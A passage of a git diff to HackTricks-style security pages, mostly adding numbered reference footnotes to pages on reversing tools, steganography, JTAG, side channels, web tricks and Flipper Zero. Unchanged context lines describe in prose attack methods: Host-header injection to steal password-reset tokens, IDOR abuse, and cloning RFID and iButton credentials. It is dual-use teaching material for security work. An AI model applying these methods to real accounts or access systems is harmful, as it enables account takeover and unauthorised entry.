+If Ghidra misses those strings, run a custom script/plugin that applies the same heuristic and creates string data at the referenced `.rodata` offsets. The published `rust-strings` and `RustStrings.py` tools from Pen Test Partners are good references for adapting the idea to other **word sizes, endianness, and section layouts**.<sup>[[3]](#references)[[4]](#references)[[5]](#references)</sup>
 
 ## **Delphi**
 
@@ -512,7 +512,7 @@ In the previous code you can see that we are comparing **uVar1** (the place wher
 - In any other cases, some cont (`DAT_030000d4`) is checked. It's a cont because it's adding 1 right after entering in the code.\
   **I**f less than 8 something that involves **adding** values to **`DAT_030000d8`** is done (basically it's adding the values of the keys pressed in this variable as long as the cont is less than 8).
 
-So, in this challenge, knowing the values of the buttons, you needed to **press a combination with a length smaller than 8 that the resulting addition is 0xf3.**
+So, in this challenge, knowing the values of the buttons, you needed to **press a combination with a length smaller than 8 that the resulting addition is 0xf3.**<sup>[[6]](#references)</sup>
 
 **Reference for this tutorial:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
 
@@ -530,10 +530,11 @@ https://www.youtube.com/watch?v=VVbRe7wr3G4
 
 ## References
 
-- [Simplifying MBA obfuscation with CoBRA](https://blog.trailofbits.com/2026/04/03/simplifying-mba-obfuscation-with-cobra/)
-- [Trail of Bits CoBRA repository](https://github.com/trailofbits/CoBRA)
-- [Decoding Rust strings - Pen Test Partners](https://www.pentestpartners.com/security-blog/decoding-rust-strings/)
-- [pentestpartners/reverse-engineering - rust-strings](https://github.com/pentestpartners/reverse-engineering/blob/main/rust-strings)
-- [pentestpartners/reverse-engineering - RustStrings.py](https://github.com/pentestpartners/reverse-engineering/blob/main/RustStrings.py)
+- [1] [Simplifying MBA obfuscation with CoBRA](https://blog.trailofbits.com/2026/04/03/simplifying-mba-obfuscation-with-cobra/)
+- [2] [Trail of Bits CoBRA repository](https://github.com/trailofbits/CoBRA)
+- [3] [Decoding Rust strings - Pen Test Partners](https://www.pentestpartners.com/security-blog/decoding-rust-strings/)
+- [4] [pentestpartners/reverse-engineering - rust-strings](https://github.com/pentestpartners/reverse-engineering/blob/main/rust-strings)
+- [5] [pentestpartners/reverse-engineering - RustStrings.py](https://github.com/pentestpartners/reverse-engineering/blob/main/RustStrings.py)
+- [6] [Nostalgia - GBA reversing tutorial (exp.codes)](https://exp.codes/Nostalgia/)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/reversing/reversing-tools-basic-methods/angr/README.md b/src/reversing/reversing-tools-basic-methods/angr/README.md
index 87e02f5d673..687aa689aa0 100644
--- a/src/reversing/reversing-tools-basic-methods/angr/README.md
+++ b/src/reversing/reversing-tools-basic-methods/angr/README.md
@@ -2,7 +2,7 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-Part of this cheatsheet is based on the [angr documentation](https://docs.angr.io/_/downloads/en/stable/pdf/).
+Part of this cheatsheet is based on the [angr documentation](https://docs.angr.io/_/downloads/en/stable/pdf/).<sup>[[1]](#references)</sup>
 
 ## Installation
 
@@ -206,10 +206,14 @@ True
 True
 ```
 
-Furthermore, you can use `proj.hook_symbol(name, hook)`, providing the name of a symbol as the first argument, to hook the address where the symbol lives
+Furthermore, you can use `proj.hook_symbol(name, hook)`, providing the name of a symbol as the first argument, to hook the address where the symbol lives<sup>[[1]](#references)</sup>
 
 ## Examples
 
+## References
+
+- [1] [angr documentation](https://docs.angr.io/_/downloads/en/stable/pdf/)
+
 {{#include ../../../banners/hacktricks-training.md}}
 
 
diff --git a/src/reversing/reversing-tools-basic-methods/angr/angr-examples.md b/src/reversing/reversing-tools-basic-methods/angr/angr-examples.md
index b92df68822f..6a1c45c156b 100644
--- a/src/reversing/reversing-tools-basic-methods/angr/angr-examples.md
+++ b/src/reversing/reversing-tools-basic-methods/angr/angr-examples.md
@@ -5,7 +5,7 @@
 > [!TIP]
 > If the program is using `scanf` to get **several values at once from stdin** you need to generate a state that starts after the **`scanf`**.
 
-Codes taken from [https://github.com/jakespringer/angr_ctf](https://github.com/jakespringer/angr_ctf)
+Codes taken from [https://github.com/jakespringer/angr_ctf](https://github.com/jakespringer/angr_ctf)<sup>[[1]](#references)</sup>
 
 ### Input to reach address (indicating the address)
 
@@ -833,6 +833,10 @@ if __name__ == '__main__':
   main(sys.argv)
 ```
 
+## References
+
+- [1] [jakespringer/angr_ctf](https://github.com/jakespringer/angr_ctf)
+
 {{#include ../../../banners/hacktricks-training.md}}
 
 
diff --git a/src/reversing/reversing-tools-basic-methods/blobrunner.md b/src/reversing/reversing-tools-basic-methods/blobrunner.md
index 36484cbeaad..bc1d42e98c5 100644
--- a/src/reversing/reversing-tools-basic-methods/blobrunner.md
+++ b/src/reversing/reversing-tools-basic-methods/blobrunner.md
@@ -60,7 +60,7 @@ The first two commands register x64dbg as the JIT debugger, and `setpagerights`
 
 ### Time-travel the shellcode instead of single-stepping it live
 
-A very practical recent workflow is to record BlobRunner under **TTD** and then inspect the trace in **Binary Ninja** / **WinDbg**. This is great when the blob decrypts itself, resolves APIs dynamically, or performs several short-lived stages. Since **Binary Ninja 4.1**, TTD support is no longer just beta quality: it can drive reverse-debugging and simplify the WinDbg / TTD workflow directly from Binary Ninja.
+A very practical recent workflow is to record BlobRunner under **TTD** and then inspect the trace in **Binary Ninja** / **WinDbg**. This is great when the blob decrypts itself, resolves APIs dynamically, or performs several short-lived stages. Since **Binary Ninja 4.1**, TTD support is no longer just beta quality: it can drive reverse-debugging and simplify the WinDbg / TTD workflow directly from Binary Ninja.<sup>[[1]](#references)</sup>
 
 ```bash
 TTD.exe .\blobrunner.exe .\shellcode.bin
@@ -70,7 +70,7 @@ The important part is to **note the allocated base address printed by BlobRunner
 
 ### If the blob needs companion data, use a PE wrapper instead
 
-Some shellcode expects a **second blob**, a **mapped file**, or some other **structured content** to exist in memory. BlobRunner is intentionally minimal, so for these cases a runner such as **SCLauncher** can be more convenient because it can:
+Some shellcode expects a **second blob**, a **mapped file**, or some other **structured content** to exist in memory. BlobRunner is intentionally minimal, so for these cases a runner such as **SCLauncher** can be more convenient because it can:<sup>[[2]](#references)</sup>
 
 - pause before execution,
 - insert an `INT3` breakpoint,
@@ -300,6 +300,6 @@ int main(int argc, char* argv[])
 
 ## References
 
-- [Time Travel Debugging Shellcode with Binary Ninja](https://www.lrqa.com/en/cyber-labs/time-travel-debugging-shellcode-with-binary-ninja/)
-- [Analyzing Shellcode with SCLauncher](https://www.thecyberyeti.com/post/analyzing-shellcode-with-sclauncher)
+- [1] [Time Travel Debugging Shellcode with Binary Ninja](https://www.lrqa.com/en/cyber-labs/time-travel-debugging-shellcode-with-binary-ninja/)
+- [2] [Analyzing Shellcode with SCLauncher](https://www.thecyberyeti.com/post/analyzing-shellcode-with-sclauncher)
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/reversing/reversing-tools-basic-methods/cheat-engine.md b/src/reversing/reversing-tools-basic-methods/cheat-engine.md
index 0d156bd61d7..95b9df919a9 100644
--- a/src/reversing/reversing-tools-basic-methods/cheat-engine.md
+++ b/src/reversing/reversing-tools-basic-methods/cheat-engine.md
@@ -3,7 +3,7 @@
 {{#include ../../banners/hacktricks-training.md}}
 
 [**Cheat Engine**](https://www.cheatengine.org/downloads.php) is a useful program to find where important values are saved inside the memory of a running game and change them.\
-When you download and run it, you are **presented** with a **tutorial** of how to use the tool. If you want to learn how to use the tool it's highly recommended to complete it.
+When you download and run it, you are **presented** with a **tutorial** of how to use the tool. If you want to learn how to use the tool it's highly recommended to complete it.<sup>[[3]](#references)</sup>
 
 ## What are you searching?
 
@@ -158,7 +158,7 @@ So, insert your new assembly code in the "**newmem**" section and remove the ori
 
 ## Advanced features in Cheat Engine 7.x (2023-2025)
 
-Cheat Engine has continued to evolve since version 7.0 and several quality-of-life and *offensive-reversing* features have been added that are extremely handy when analysing modern software (and not only games!). Below is a **very condensed field guide** to the additions you will most likely use during red-team/CTF work.
+Cheat Engine has continued to evolve since version 7.0 and several quality-of-life and *offensive-reversing* features have been added that are extremely handy when analysing modern software (and not only games!). Below is a **very condensed field guide** to the additions you will most likely use during red-team/CTF work.<sup>[[1]](#references)</sup>
 
 ### Pointer Scanner 2 improvements
 * `Pointers must end with specific offsets` and the new **Deviation** slider (≥7.4) greatly reduce false positives when you rescan after an update. Use it together with multi-map comparison (`.PTR` → *Compare results with other saved pointer map*) to obtain a **single resilient base-pointer** in just a few minutes.
@@ -194,7 +194,7 @@ CE now ships a full rewrite of *ceserver* and can attach over TCP to **Linux, An
 adb forward tcp:52736 tcp:52736   # (or ssh tunnel)
 Cheat Engine → "Network" icon → Host = localhost → Connect
 ```
-For the Frida bridge see `bb33bb/frida-ceserver` on GitHub. 
+For the Frida bridge see `bb33bb/frida-ceserver` on GitHub.<sup>[[2]](#references)</sup> 
 
 ### Other noteworthy goodies
 * **Patch Scanner** (MemView → Tools) – detects unexpected code changes in executable sections; handy for malware analysis.
@@ -210,11 +210,11 @@ For the Frida bridge see `bb33bb/frida-ceserver` on GitHub.
 
 ---
 
-## **References**
+## References
 
-- [Cheat Engine 7.5 release notes (GitHub)](https://github.com/cheat-engine/cheat-engine/releases/tag/7.5)
-- [frida-ceserver cross-platform bridge](https://github.com/bb33bb/frida-ceserver-Mac-and-IOS)
-- **Cheat Engine tutorial, complete it to learn how to start with Cheat Engine**
+- [1] [Cheat Engine 7.5 release notes (GitHub)](https://github.com/cheat-engine/cheat-engine/releases/tag/7.5)
+- [2] [frida-ceserver cross-platform bridge](https://github.com/bb33bb/frida-ceserver-Mac-and-IOS)
+- [3] Cheat Engine tutorial, complete it to learn how to start with Cheat Engine
 
 {{#include ../../banners/hacktricks-training.md}}
 
diff --git a/src/reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md b/src/reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md
index f9419ce4991..74221459ca5 100644
--- a/src/reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md
+++ b/src/reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md
@@ -66,7 +66,7 @@ for d in m.decls():
 
 # Machine Arithmetic
 
-Modern CPUs and main-stream programming languages use arithmetic over fixed-size bit-vectors. Machine arithmetic is available in Z3Py as Bit-Vectors.
+Modern CPUs and main-stream programming languages use arithmetic over fixed-size bit-vectors. Machine arithmetic is available in Z3Py as Bit-Vectors.<sup>[[1]](#references)</sup>
 
 ```python
 from z3 import *
@@ -85,7 +85,7 @@ print(simplify(a == b)) # This is False
 
 ## Signed/Unsigned Numbers
 
-Z3 provides special signed versions of arithmetical operations where it makes a difference whether the bit-vector is treated as signed or unsigned. In Z3Py, the operators `<`, `<=`, `>`, `>=`, `/`, `%` and `>>` correspond to the signed versions. The corresponding unsigned operators are `ULT`, `ULE`, `UGT`, `UGE`, `UDiv`, `URem` and `LShR`.
+Z3 provides special signed versions of arithmetical operations where it makes a difference whether the bit-vector is treated as signed or unsigned. In Z3Py, the operators `<`, `<=`, `>`, `>=`, `/`, `%` and `>>` correspond to the signed versions. The corresponding unsigned operators are `ULT`, `ULE`, `UGT`, `UGE`, `UDiv`, `URem` and `LShR`.<sup>[[1]](#references)</sup>
 
 ```python
 from z3 import *
@@ -107,7 +107,7 @@ solve(ULT(x, 0))
 
 ## Functions
 
-Interpreted functions such as arithmetic have a fixed standard interpretation. Uninterpreted functions and constants are maximally flexible; they allow any interpretation that is consistent with the constraints over the function or constant.
+Interpreted functions such as arithmetic have a fixed standard interpretation. Uninterpreted functions and constants are maximally flexible; they allow any interpretation that is consistent with the constraints over the function or constant.<sup>[[1]](#references)</sup>
 
 Example: `f` applied twice to `x` results in `x` again, but `f` applied once to `x` is different from `x`.
 
@@ -295,7 +295,8 @@ else:
 
 ## References
 
-* [https://ericpony.github.io/z3py-tutorial/guide-examples.htm](https://ericpony.github.io/z3py-tutorial/guide-examples.htm)
-* [https://microsoft.github.io/z3guide/](https://microsoft.github.io/z3guide/)
-* [https://theory.stanford.edu/~nikolaj/programmingz3.html](https://theory.stanford.edu/~nikolaj/programmingz3.html)
+- [1] [Z3Py Guide - Examples (ericpony)](https://ericpony.github.io/z3py-tutorial/guide-examples.htm)
+- [2] [Z3 Guide (Microsoft)](https://microsoft.github.io/z3guide/)
+- [3] [Programming Z3 (Stanford)](https://theory.stanford.edu/~nikolaj/programmingz3.html)
+
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/stego/audio/README.md b/src/stego/audio/README.md
index 0dc9c85a350..e17eccf32b5 100644
--- a/src/stego/audio/README.md
+++ b/src/stego/audio/README.md
@@ -45,7 +45,7 @@ sox input.wav -n spectrogram -o spectrogram.png
 
 ## FSK / modem decoding
 
-Frequency-shift keyed audio often looks like alternating single tones in a spectrogram. Once you have a rough center/shift and baud estimate, brute force with `minimodem`:
+Frequency-shift keyed audio often looks like alternating single tones in a spectrogram.<sup>[[1]](#references)</sup> Once you have a rough center/shift and baud estimate, brute force with `minimodem`:
 
 ```bash
 # Visualize the band to pick baud/frequency
@@ -103,7 +103,7 @@ Online decoders:
 
 ## References
 
-- [Flagvent 2025 (Medium) — pink, Santa’s Wishlist, Christmas Metadata, Captured Noise](https://0xdf.gitlab.io/flagvent2025/medium)
+- [1] [Flagvent 2025 (Medium) — pink, Santa’s Wishlist, Christmas Metadata, Captured Noise](https://0xdf.gitlab.io/flagvent2025/medium)
 
 {{#include ../../banners/hacktricks-training.md}}
 
diff --git a/src/stego/images/README.md b/src/stego/images/README.md
index cb5db7ebd34..ee2952dd3f4 100644
--- a/src/stego/images/README.md
+++ b/src/stego/images/README.md
@@ -207,7 +207,7 @@ for f in sorted(glob.glob('frames/frame_*.png')):
 print(bytes(out).decode('latin1'))
 ```
 
-Animated challenges may encode each byte as the count of a specific color in each frame; concatenating the counts reconstructs the message.
+Animated challenges may encode each byte as the count of a specific color in each frame; concatenating the counts reconstructs the message.<sup>[[1]](#references)</sup>
 
 ## Password-protected embedding
 
@@ -240,7 +240,7 @@ Repo: https://github.com/dhsdshdhk/stegpy
 
 ## References
 
-- [Flagvent 2025 (Medium) — pink, Santa’s Wishlist, Christmas Metadata, Captured Noise](https://0xdf.gitlab.io/flagvent2025/medium)
+- [1] [Flagvent 2025 (Medium) — pink, Santa’s Wishlist, Christmas Metadata, Captured Noise](https://0xdf.gitlab.io/flagvent2025/medium)
 
 {{#include ../../banners/hacktricks-training.md}}
 
diff --git a/src/stego/malware-and-network/README.md b/src/stego/malware-and-network/README.md
index 6fc5432b602..6f290324ae6 100644
--- a/src/stego/malware-and-network/README.md
+++ b/src/stego/malware-and-network/README.md
@@ -8,7 +8,7 @@ Not all steganography is pixel LSB; commodity malware often hides payloads insid
 
 ### Marker-delimited payloads in valid images
 
-If an image is downloaded and immediately parsed as text/Base64 by a script, the payload is often marker-delimited rather than pixel-hidden.
+If an image is downloaded and immediately parsed as text/Base64 by a script, the payload is often marker-delimited rather than pixel-hidden.<sup>[[1]](#references)</sup>
 
 Commodity loaders increasingly hide Base64 payloads as plain text inside otherwise valid images (often GIF/PNG). Instead of pixel-level LSB, the payload is delimited by unique marker strings embedded in file text/metadata. A stager then:
 
@@ -32,7 +32,7 @@ if($s -ge 0 -and $e -gt $s){
 
 Notes:
 
-- ATT&CK: T1027.003 (steganography)
+- ATT&CK: T1027.003 (steganography)<sup>[[2]](#references)</sup>
 - Detection/hunting:
   - Scan downloaded images for delimiter strings.
   - Flag scripts that fetch images and immediately call Base64 decoding routines (PowerShell `FromBase64String`, JS `atob`, etc).
@@ -45,7 +45,7 @@ These are typically faster to check than content-level pixel stego:
 - **Metadata**: EXIF/XMP/IPTC, PNG `tEXt/iTXt/zTXt`, JPEG `COM`/`APPn` segments.
 - **Trailing bytes**: data appended after the formal end marker (e.g., after PNG `IEND`).
 - **Embedded archives**: a ZIP/7z embedded or appended and extracted by the loader.
-- **Polyglots**: files crafted to be valid under multiple parsers (e.g., image + script + archive).
+- **Polyglots**: files crafted to be valid under multiple parsers (e.g., image + script + archive).<sup>[[3]](#references)</sup>
 
 ### Triage commands
 
@@ -57,11 +57,11 @@ binwalk sample
 binwalk -e sample
 ```
 
-References:
+## References
 
-- Unit 42 example: https://unit42.paloaltonetworks.com/phantomvai-loader-delivers-infostealers/
-- MITRE ATT&CK: https://attack.mitre.org/techniques/T1027/003/
-- File format polyglots and container tricks: https://github.com/corkami/docs
-- Aperi’Solve (web-based stego triage): https://aperisolve.com/
+- [1] [PhantomVAI Loader Delivers a Range of Infostealers](https://unit42.paloaltonetworks.com/phantomvai-loader-delivers-infostealers/)
+- [2] [MITRE ATT&CK T1027.003: Obfuscated Files or Information - Steganography](https://attack.mitre.org/techniques/T1027/003/)
+- [3] [corkami/docs - file format documentation and polyglots](https://github.com/corkami/docs)
+- [4] [Aperi'Solve - web-based stego triage](https://aperisolve.com/)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/stego/text/README.md b/src/stego/text/README.md
index 6b907858918..cfdb791074b 100644
--- a/src/stego/text/README.md
+++ b/src/stego/text/README.md
@@ -18,7 +18,7 @@ Text stego frequently relies on characters that render identically (or invisibly
 
 - Homoglyphs: different Unicode codepoints that look the same (Latin `a` vs Cyrillic `а`)
 - Zero-width characters: joiners, non-joiners, zero-width spaces
-- Whitespace encodings: spaces vs tabs, trailing spaces, line-length patterns
+- Whitespace encodings: spaces vs tabs, trailing spaces, line-length patterns<sup>[[1]](#references)</sup>
 
 Additional high-signal cases:
 
@@ -53,7 +53,7 @@ If ranges contain multiple bytes per declaration, split on commas first and norm
 
 ## References
 
-- [Flagvent 2025 (Medium) — pink, Santa’s Wishlist, Christmas Metadata, Captured Noise](https://0xdf.gitlab.io/flagvent2025/medium)
+- [1] [Flagvent 2025 (Medium) — pink, Santa’s Wishlist, Christmas Metadata, Captured Noise](https://0xdf.gitlab.io/flagvent2025/medium)
 
 {{#include ../../banners/hacktricks-training.md}}
 
diff --git a/src/todo/hardware-hacking/jtag.md b/src/todo/hardware-hacking/jtag.md
index 1e55c4375a6..3adea51b17f 100644
--- a/src/todo/hardware-hacking/jtag.md
+++ b/src/todo/hardware-hacking/jtag.md
@@ -57,7 +57,7 @@ openocd -f board/esp32s3-builtin.cfg -c "init; scan_chain; shutdown"
 ```
 Notes
 - If you get "all ones/zeros" IDCODE, check wiring, power, Vtref, and that the port isn’t locked by fuses/option bytes.
-- See OpenOCD low‑level `irscan`/`drscan` for manual TAP interaction when bringing up unknown chains.
+- See OpenOCD low‑level `irscan`/`drscan` for manual TAP interaction when bringing up unknown chains.<sup>[[1]](#references)</sup>
 
 ## Halting the CPU and dumping memory/flash
 
@@ -103,7 +103,7 @@ You need the device BSDL to know boundary register bit ordering. Beware that som
 
 ## Modern targets and notes
 
-- ESP32‑S3/C3 include a native USB‑JTAG bridge; OpenOCD can speak directly over USB without an external probe. Very convenient for triage and dumps.
+- ESP32‑S3/C3 include a native USB‑JTAG bridge; OpenOCD can speak directly over USB without an external probe. Very convenient for triage and dumps.<sup>[[2]](#references)</sup>
 - RISC‑V debug (v0.13+) is widely supported by OpenOCD; prefer SBA for memory access when the core cannot be halted safely.
 - Many MCUs implement debug authentication and lifecycle states. If JTAG appears dead but power is correct, the device may be fused to a closed state or requires an authenticated probe.
 
@@ -116,7 +116,7 @@ You need the device BSDL to know boundary register bit ordering. Beware that som
 
 ## References
 
-- OpenOCD User’s Guide – JTAG Commands and configuration. https://openocd.org/doc-release/html/JTAG-Commands.html
-- Espressif ESP32‑S3 JTAG debugging (USB‑JTAG, OpenOCD usage). https://docs.espressif.com/projects/esp-idf/en/latest/esp32s3/api-guides/jtag-debugging/
+- [1] [OpenOCD User’s Guide – JTAG Commands and configuration](https://openocd.org/doc-release/html/JTAG-Commands.html)
+- [2] [Espressif ESP32‑S3 JTAG debugging (USB‑JTAG, OpenOCD usage)](https://docs.espressif.com/projects/esp-idf/en/latest/esp32s3/api-guides/jtag-debugging/)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/todo/hardware-hacking/side_channel_analysis.md b/src/todo/hardware-hacking/side_channel_analysis.md
index a458d2d12d0..f6b68c51664 100644
--- a/src/todo/hardware-hacking/side_channel_analysis.md
+++ b/src/todo/hardware-hacking/side_channel_analysis.md
@@ -52,7 +52,7 @@ Near-field EM probes (500 MHz–3 GHz) leak identical information to power analy
 
 ## Timing & Micro-architectural Attacks
 Modern CPUs leak secrets through shared resources:
-* **Hertzbleed (2022)** – DVFS frequency scaling correlates with Hamming weight, allowing *remote* extraction of EdDSA keys.
+* **Hertzbleed (2022)** – DVFS frequency scaling correlates with Hamming weight, allowing *remote* extraction of EdDSA keys.<sup>[[2]](#references)</sup>
 * **Downfall / Gather Data Sampling (Intel, 2023)** – transient-execution to read AVX-gather data across SMT threads.
 * **Zenbleed (AMD, 2023) & Inception (AMD, 2023)** – speculative vector mis-prediction leaks registers cross-domain.
 
@@ -91,7 +91,7 @@ Combining faults with side-channel leakage shortcuts key search (e.g. 1-trace AE
 ---
 
 ## Tools & Frameworks
-* **ChipWhisperer-Husky** (2024) – 500 MS/s scope + Cortex-M trigger; Python API as above.
+* **ChipWhisperer-Husky** (2024) – 500 MS/s scope + Cortex-M trigger; Python API as above.<sup>[[1]](#references)</sup>
 * **Riscure Inspector & FI** – commercial, supports automated leakage assessment (TVLA-2.0).
 * **scaaml** – TensorFlow-based deep-learning SCA library (v1.2 – 2025).
 * **pyecsca** – ANSSI open-source ECC SCA framework.
@@ -100,8 +100,8 @@ Combining faults with side-channel leakage shortcuts key search (e.g. 1-trace AE
 
 ## References
 
-* [ChipWhisperer Documentation](https://chipwhisperer.readthedocs.io/en/latest/)
-* [Hertzbleed Attack Paper](https://www.hertzbleed.com/)
+- [1] [ChipWhisperer Documentation](https://chipwhisperer.readthedocs.io/en/latest/)
+- [2] [Hertzbleed Attack Paper](https://www.hertzbleed.com/)
 
 
 {{#include ../../banners/hacktricks-training.md}}
\ No newline at end of file
diff --git a/src/todo/other-web-tricks.md b/src/todo/other-web-tricks.md
index 6d05060f6c5..bd5edb0cc5f 100644
--- a/src/todo/other-web-tricks.md
+++ b/src/todo/other-web-tricks.md
@@ -4,7 +4,7 @@
 
 ### Host header
 
-Several times the back-end trust the **Host header** to perform some actions. For example, it could use its value as the **domain to send a password reset**. So when you receive an email with a link to reset your password, the domain being used is the one you put in the Host header.Then, you can request the password reset of other users and change the domain to one controlled by you to steal their password reset codes. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
+Several times the back-end trust the **Host header** to perform some actions. For example, it could use its value as the **domain to send a password reset**. So when you receive an email with a link to reset your password, the domain being used is the one you put in the Host header.Then, you can request the password reset of other users and change the domain to one controlled by you to steal their password reset codes. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).<sup>[[1]](#references)</sup>
 
 > [!WARNING]
 > Note that it's possible that you don't even need to wait for the user to click on the reset password link to get the token, as maybe even **spam filters or other intermediary devices/bots will click on it to analyze it**.
@@ -12,7 +12,7 @@ Several times the back-end trust the **Host header** to perform some actions. Fo
 ### Session booleans
 
 Some times when you complete some verification correctly the back-end will **just add a boolean with the value "True" to a security attribute your session**. Then, a different endpoint will know if you successfully passed that check.\
-However, if you **pass the check** and your sessions is granted that "True" value in the security attribute, you can try to **access other resources** that **depends on the same attribute** but that you **shouldn't have permissions** to access. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
+However, if you **pass the check** and your sessions is granted that "True" value in the security attribute, you can try to **access other resources** that **depends on the same attribute** but that you **shouldn't have permissions** to access. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).<sup>[[2]](#references)</sup>
 
 ### Register functionality
 
@@ -35,4 +35,9 @@ Developers might forget to disable various debugging options in the production e
 
 ![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png)
 
+## References
+
+- [1] [How I was able to take over any user's account with Host Header injection](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2)
+- [2] [A less known attack vector: Second order IDOR attacks](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a)
+
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md b/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md
index 70e290e7ee9..698bbc6394e 100644
--- a/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md
+++ b/src/todo/radio-hacking/flipper-zero/fz-125khz-rfid.md
@@ -18,7 +18,7 @@ For more info about these types of tags [**read this intro**](../pentesting-rfid
 
 ### Read
 
-Tries to **read** the card info. Then it can **emulate** them.
+Tries to **read** the card info. Then it can **emulate** them.<sup>[[1]](#references)</sup>
 
 > [!WARNING]
 > Note that some intercoms try to protect themselves from key duplication by sending a write command prior to reading. If the write succeeds, that tag is considered fake. When Flipper emulates RFID there is no way for the reader to distinguish it from the original one, so no such problems occur.
@@ -34,7 +34,7 @@ Some times, when you get a card you will find the ID (or part) of it written in
 - **EM Marin**
 
 For example in this EM-Marin card in the physical card is possible to **read the last 3 of 5 bytes in clear**.\
-The other 2 can be brute-forced if you cannot read them from the card.
+The other 2 can be brute-forced if you cannot read them from the card.<sup>[[1]](#references)</sup>
 
 <figure><img src="../../../images/image (104).png" alt=""><figcaption></figcaption></figure>
 
@@ -46,11 +46,11 @@ Same happens in this HID card where only 2 out of 3 bytes can be found printed i
 
 ### Emulate/Write
 
-After **copying** a card or **entering** the ID **manually** it's possible to **emulate** it with Flipper Zero or **write** it in a real card.
+After **copying** a card or **entering** the ID **manually** it's possible to **emulate** it with Flipper Zero or **write** it in a real card.<sup>[[1]](#references)</sup>
 
 ## References
 
-- [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
+- [1] [Diving into RFID Protocols with Flipper Zero](https://blog.flipperzero.one/rfid/)
 
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/todo/radio-hacking/flipper-zero/fz-ibutton.md b/src/todo/radio-hacking/flipper-zero/fz-ibutton.md
index 2e19200ac46..465bde5cc68 100644
--- a/src/todo/radio-hacking/flipper-zero/fz-ibutton.md
+++ b/src/todo/radio-hacking/flipper-zero/fz-ibutton.md
@@ -13,7 +13,7 @@ For more info about what is an iButton check:
 
 ## Design
 
-The **blue** part of the following imageis how you would need to **put the real iButton** so the Flipper can **read it.** The **green** part is how you need to **touch the reader** with the Flipper zero to **correctly emulate an iButton**.
+The **blue** part of the following imageis how you would need to **put the real iButton** so the Flipper can **read it.** The **green** part is how you need to **touch the reader** with the Flipper zero to **correctly emulate an iButton**.<sup>[[1]](#references)</sup>
 
 <figure><img src="../../../images/image (565).png" alt=""><figcaption></figcaption></figure>
 
@@ -21,7 +21,7 @@ The **blue** part of the following imageis how you would need to **put the real
 
 ### Read
 
-In Read Mode Flipper is waiting for the iButton key to touch and is able to digest any of three types of keys: **Dallas, Cyfral, and Metakom**. Flipper will **figure out the type of the key itself**. The name of the key protocol will be displayed on the screen above the ID number.
+In Read Mode Flipper is waiting for the iButton key to touch and is able to digest any of three types of keys: **Dallas, Cyfral, and Metakom**. Flipper will **figure out the type of the key itself**. The name of the key protocol will be displayed on the screen above the ID number.<sup>[[1]](#references)</sup>
 
 ### Add manually
 
@@ -38,7 +38,7 @@ It's possible to **emulate** saved iButtons (read or manually added).
 
 ## References
 
-- [https://blog.flipperzero.one/taming-ibutton/](https://blog.flipperzero.one/taming-ibutton/)
+- [1] [Taming iButton Keys with Flipper Zero](https://blog.flipperzero.one/taming-ibutton/)
 
 {{#include ../../../banners/hacktricks-training.md}}
 
diff --git a/src/todo/radio-hacking/flipper-zero/fz-infrared.md b/src/todo/radio-hacking/flipper-zero/fz-infrared.md
index 2a25b2cbf4a..6440572ca7b 100644
--- a/src/todo/radio-hacking/flipper-zero/fz-infrared.md
+++ b/src/todo/radio-hacking/flipper-zero/fz-infrared.md
@@ -13,17 +13,17 @@ For more info about how Infrared works check:
 
 ## IR Signal Receiver in Flipper Zero <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
 
-Flipper uses a digital IR signal receiver TSOP, which **allows intercepting signals from IR remotes**. There are some **smartphones** like Xiaomi, which also have an IR port, but keep in mind that **most of them can only transmit** signals and are **unable to receive** them.
+Flipper uses a digital IR signal receiver TSOP, which **allows intercepting signals from IR remotes**. There are some **smartphones** like Xiaomi, which also have an IR port, but keep in mind that **most of them can only transmit** signals and are **unable to receive** them.<sup>[[1]](#references)</sup>
 
 The Flipper infrared **receiver is quite sensitive**. You can even **catch the signal** while remaining **somewhere in between** the remote and the TV. Pointing the remote directly at Flipper's IR port is unnecessary. This comes in handy when someone is switching channels while standing near the TV, and both you and Flipper are some distance away.
 
-As the **decoding of the infrared** signal happens on the **software** side, Flipper Zero potentially supports the **reception and transmission of any IR remote codes**. In the case of **unknown** protocols which could not be recognized - it **records and plays back** the raw signal exactly as received.
+As the **decoding of the infrared** signal happens on the **software** side, Flipper Zero potentially supports the **reception and transmission of any IR remote codes**. In the case of **unknown** protocols which could not be recognized - it **records and plays back** the raw signal exactly as received.<sup>[[1]](#references)</sup>
 
 ## Actions
 
 ### Universal Remotes
 
-Flipper Zero can be used as a **universal remote to control any TV, air conditioner, or media center**. In this mode, Flipper **bruteforces** all **known codes** of all supported manufacturers **according to the dictionary from the SD card**. You don't need to choose a particular remote to turn off a restaurant TV.
